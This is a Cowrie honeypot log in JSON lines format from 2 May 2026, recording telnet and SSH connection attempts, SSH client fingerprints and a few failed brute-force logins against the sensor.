{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":49168,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae30f6aafe2c","protocol":"telnet","message":"New connection: 165.232.131.181:49168 (10.17.0.5:23) [session: ae30f6aafe2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:57.411716Z"}
{"eventid":"cowrie.session.closed","duration":0.12601518630981445,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:57.537601Z","src_ip":"165.232.131.181","session":"ae30f6aafe2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"14.8","message":"Connection lost after 14.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:57.839538Z","src_ip":"213.209.159.158","session":"c42319439386","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":26958,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e2dca2fd8e1","protocol":"ssh","message":"New connection: 213.209.159.158:26958 (10.17.0.5:22) [session: 7e2dca2fd8e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:57.935461Z"}
{"eventid":"cowrie.session.closed","duration":32.19409227371216,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:58.396601Z","src_ip":"62.210.97.77","session":"41a017358cbd","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:00.091375Z","src_ip":"213.209.159.158","session":"7e2dca2fd8e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:00.095725Z","src_ip":"213.209.159.158","session":"7e2dca2fd8e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60008,"dst_ip":"10.17.0.5","dst_port":23,"session":"d25f73c5e994","protocol":"telnet","message":"New connection: 62.210.97.77:60008 (10.17.0.5:23) [session: d25f73c5e994]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:01.091721Z"}
{"eventid":"cowrie.session.closed","duration":33.35033988952637,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:01.300282Z","src_ip":"62.210.97.77","session":"9a307dcb46c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":51888,"dst_ip":"10.17.0.5","dst_port":23,"session":"128943b2c3b2","protocol":"telnet","message":"New connection: 165.232.131.181:51888 (10.17.0.5:23) [session: 128943b2c3b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:01.826518Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60012,"dst_ip":"10.17.0.5","dst_port":23,"session":"73057ade2d21","protocol":"telnet","message":"New connection: 62.210.97.77:60012 (10.17.0.5:23) [session: 73057ade2d21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:02.405909Z"}
{"eventid":"cowrie.session.closed","duration":30.975878477096558,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:02.763591Z","src_ip":"165.232.131.181","session":"907ffc3bae92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.34617900848389,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:03.611764Z","src_ip":"62.210.97.77","session":"6c1c6b22f4d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60024,"dst_ip":"10.17.0.5","dst_port":23,"session":"95bf8ce5d9d4","protocol":"telnet","message":"New connection: 62.210.97.77:60024 (10.17.0.5:23) [session: 95bf8ce5d9d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:04.598926Z"}
{"eventid":"cowrie.session.closed","duration":35.89082860946655,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:05.443171Z","src_ip":"62.210.97.77","session":"efb58aa608ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":37668,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d765c53fcaf","protocol":"telnet","message":"New connection: 65.60.27.33:37668 (10.17.0.5:23) [session: 7d765c53fcaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:06.956728Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":59744,"dst_ip":"10.17.0.5","dst_port":23,"session":"70989ff33c4c","protocol":"telnet","message":"New connection: 38.54.119.93:59744 (10.17.0.5:23) [session: 70989ff33c4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:07.303934Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":60074,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0247b4ac15a","protocol":"telnet","message":"New connection: 38.54.119.93:60074 (10.17.0.5:23) [session: e0247b4ac15a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:07.842539Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60034,"dst_ip":"10.17.0.5","dst_port":23,"session":"97db8653aa2c","protocol":"telnet","message":"New connection: 62.210.97.77:60034 (10.17.0.5:23) [session: 97db8653aa2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:08.198965Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"upload0","message":"login attempt [root/upload0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:09.862622Z","src_ip":"213.209.159.158","session":"7e2dca2fd8e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.584943532943726,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:10.059167Z","src_ip":"165.232.131.181","session":"8613e22a7a90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":33754,"dst_ip":"10.17.0.5","dst_port":23,"session":"517e57df0532","protocol":"telnet","message":"New connection: 38.54.119.93:33754 (10.17.0.5:23) [session: 517e57df0532]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:10.895190Z"}
{"eventid":"cowrie.session.closed","duration":31.08781361579895,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:10.928128Z","src_ip":"62.210.97.77","session":"496e91bb0ae3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51880,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffe576e93c16","protocol":"telnet","message":"New connection: 62.210.97.77:51880 (10.17.0.5:23) [session: ffe576e93c16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:11.226151Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":44082,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa405736558d","protocol":"telnet","message":"New connection: 65.60.27.33:44082 (10.17.0.5:23) [session: aa405736558d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:12.652407Z"}
{"eventid":"cowrie.session.closed","duration":"15.2","message":"Connection lost after 15.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:13.100438Z","src_ip":"213.209.159.158","session":"7e2dca2fd8e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":61864,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2d27138eca2","protocol":"ssh","message":"New connection: 213.209.159.158:61864 (10.17.0.5:22) [session: b2d27138eca2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:13.192330Z"}
{"eventid":"cowrie.session.closed","duration":37.49378061294556,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:13.955806Z","src_ip":"62.210.97.77","session":"8d69aa36d60a","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:15.667680Z","src_ip":"213.209.159.158","session":"b2d27138eca2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:15.673026Z","src_ip":"213.209.159.158","session":"b2d27138eca2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":48118,"dst_ip":"10.17.0.5","dst_port":23,"session":"a936b3909319","protocol":"telnet","message":"New connection: 65.60.27.33:48118 (10.17.0.5:23) [session: a936b3909319]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:16.376644Z"}
{"eventid":"cowrie.session.closed","duration":43.4576256275177,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:16.702132Z","src_ip":"165.232.131.181","session":"74d2ffe54a10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":58556,"dst_ip":"10.17.0.5","dst_port":23,"session":"639958772ce4","protocol":"telnet","message":"New connection: 165.232.131.181:58556 (10.17.0.5:23) [session: 639958772ce4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:17.026568Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51894,"dst_ip":"10.17.0.5","dst_port":23,"session":"770f880a17a0","protocol":"telnet","message":"New connection: 62.210.97.77:51894 (10.17.0.5:23) [session: 770f880a17a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:17.349303Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":50472,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2cc14320269","protocol":"telnet","message":"New connection: 65.60.27.33:50472 (10.17.0.5:23) [session: d2cc14320269]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:18.436998Z"}
{"eventid":"cowrie.session.closed","duration":38.767436265945435,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:19.932485Z","src_ip":"62.210.97.77","session":"44fb9a30a2da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.00764465332031,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:20.661535Z","src_ip":"62.210.97.77","session":"a4c76e59c363","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":53332,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b9503ab4ba2","protocol":"telnet","message":"New connection: 65.60.27.33:53332 (10.17.0.5:23) [session: 9b9503ab4ba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:21.040095Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":54170,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d49b99fe631","protocol":"telnet","message":"New connection: 65.60.27.33:54170 (10.17.0.5:23) [session: 4d49b99fe631]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:21.599323Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":54678,"dst_ip":"10.17.0.5","dst_port":23,"session":"beae8d51d87f","protocol":"telnet","message":"New connection: 65.60.27.33:54678 (10.17.0.5:23) [session: beae8d51d87f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:22.190500Z"}
{"eventid":"cowrie.session.closed","duration":32.28640103340149,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:22.267831Z","src_ip":"62.210.97.77","session":"3660d68efa92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.5041050910949707,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:22.544099Z","src_ip":"65.60.27.33","session":"9b9503ab4ba2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":59748,"dst_ip":"10.17.0.5","dst_port":23,"session":"13168bc7c19b","protocol":"telnet","message":"New connection: 165.232.131.181:59748 (10.17.0.5:23) [session: 13168bc7c19b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:24.605195Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Username","message":"login attempt [root/Username] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:25.211276Z","src_ip":"213.209.159.158","session":"b2d27138eca2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":58404,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1a8de137450","protocol":"telnet","message":"New connection: 65.60.27.33:58404 (10.17.0.5:23) [session: e1a8de137450]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:26.619371Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":34082,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e3e7b346900","protocol":"telnet","message":"New connection: 165.232.131.181:34082 (10.17.0.5:23) [session: 9e3e7b346900]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:26.628201Z"}
{"eventid":"cowrie.session.closed","duration":"15.2","message":"Connection lost after 15.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:28.347233Z","src_ip":"213.209.159.158","session":"b2d27138eca2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":3972,"dst_ip":"10.17.0.5","dst_port":22,"session":"513c1e10a6c1","protocol":"ssh","message":"New connection: 213.209.159.158:3972 (10.17.0.5:22) [session: 513c1e10a6c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:28.438821Z"}
{"eventid":"cowrie.session.closed","duration":35.507123708724976,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:28.672242Z","src_ip":"62.210.97.77","session":"ecfe3ec09e66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40094,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccbebcae49a4","protocol":"telnet","message":"New connection: 62.210.97.77:40094 (10.17.0.5:23) [session: ccbebcae49a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:28.772847Z"}
{"eventid":"cowrie.session.closed","duration":6.63484001159668,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:28.825243Z","src_ip":"65.60.27.33","session":"beae8d51d87f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40100,"dst_ip":"10.17.0.5","dst_port":23,"session":"11b8a7ea834d","protocol":"telnet","message":"New connection: 62.210.97.77:40100 (10.17.0.5:23) [session: 11b8a7ea834d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:28.954158Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":45286,"dst_ip":"10.17.0.5","dst_port":23,"session":"3633df59dbc3","protocol":"telnet","message":"New connection: 38.54.119.93:45286 (10.17.0.5:23) [session: 3633df59dbc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:29.068854Z"}
{"eventid":"cowrie.session.closed","duration":38.00477051734924,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:29.118527Z","src_ip":"62.210.97.77","session":"3a5ce8b1dfdf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":50036,"dst_ip":"159.203.135.109","dst_port":22,"session":"20439abc5c35","protocol":"ssh","message":"New connection: 80.94.92.182:50036 (159.203.135.109:22) [session: 20439abc5c35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:30.212652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:30.325077Z","src_ip":"80.94.92.182","session":"20439abc5c35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:30.446102Z","src_ip":"80.94.92.182","session":"20439abc5c35","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:30.965554Z","src_ip":"213.209.159.158","session":"513c1e10a6c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:30.970297Z","src_ip":"213.209.159.158","session":"513c1e10a6c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raydium","password":"raydium","message":"login attempt [raydium/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:31.016829Z","src_ip":"80.94.92.182","session":"20439abc5c35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:32.259194Z","src_ip":"80.94.92.182","session":"20439abc5c35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40114,"dst_ip":"10.17.0.5","dst_port":23,"session":"afa09f03c44d","protocol":"telnet","message":"New connection: 62.210.97.77:40114 (10.17.0.5:23) [session: afa09f03c44d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:32.506229Z"}
